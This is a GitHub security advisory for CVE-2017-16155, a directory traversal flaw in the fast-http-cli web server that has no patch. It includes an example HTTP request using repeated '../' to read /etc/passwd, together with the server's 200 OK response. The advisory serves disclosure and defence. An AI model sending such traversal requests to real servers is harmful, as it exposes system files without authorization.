GHSA-9FRQ-F867-HGQC

Vulnerability from github – Published: 2018-07-23 20:46 – Updated: 2023-09-11 23:13
VLAI?
Summary
Directory Traversal in fast-http-cli
Details

fast-http-cli is the command line interface for fast-http, a simple web server.

fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Severity ?
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
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  "id": "GHSA-9frq-f867-hgqc",
  "modified": "2023-09-11T23:13:19Z",
  "published": "2018-07-23T20:46:25Z",
  "references": [
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      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-16155"
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      "type": "WEB",
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  "summary": "Directory Traversal in fast-http-cli"
}


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